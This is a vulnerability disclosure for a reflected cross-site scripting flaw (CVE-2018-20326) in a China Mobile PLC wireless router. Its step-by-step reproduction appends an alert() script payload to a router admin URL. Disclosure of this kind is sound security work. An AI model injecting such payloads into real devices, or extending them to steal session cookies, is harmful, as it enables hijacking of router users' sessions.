PLC Wireless Router GPN2.4P21-C-CN -Reflected XSS

Exploit Title: PLC Wireless Router GPN2.4P21-C-CN -Reflected XSS
Date: 21/12/2018
Exploit Author: Kumar Saurav
Vendor: ChinaMobile
Category: Hardware
Version: GPN2.4P21-C-CN (Firmware: W2001EN-00)
Tested on: Multiple
CVE ID : CVE-2018-20326

Description: PLC Wireless Router’s are vulnerable to a Reflected Cross Site Scripting (XSS).With this attack, the threat actor can steal cookies, session id, username or other sensitive information redirect an innocent victim to a malicious website, thus compromising the user.

Reproduction Steps:
Step 1: Go to Wi-fi Router Gateway (192.168.59.254 in my case)
Step 2: Login as Username and Password
Step 3: After Login below url will be shown
(http://192.168.59.254/cgi-bin/webprocgetpage=html/index.html&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:page=connected&var:subpage=-)
Step 4: Insert the payload “<script>alert(“XSS-Saurav”)</script>” at the end of the above mentinoed url and hit enter
(http://192.168.59.254/cgi-bin/webprocgetpage=html/index.html&errorpage=html/main.html&var:language=en_us&var:menu=setup&var:page=connected&var:subpage=-
<script>alert(“XSS-Saurav”)</script> )
Step 5: On execution of the payload, it will be popped up as “XSS-Saurav”

Reference: https://youtu.be/TwNi05yfQks

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3 thoughts on “PLC Wireless Router GPN2.4P21-C-CN -Reflected XSS

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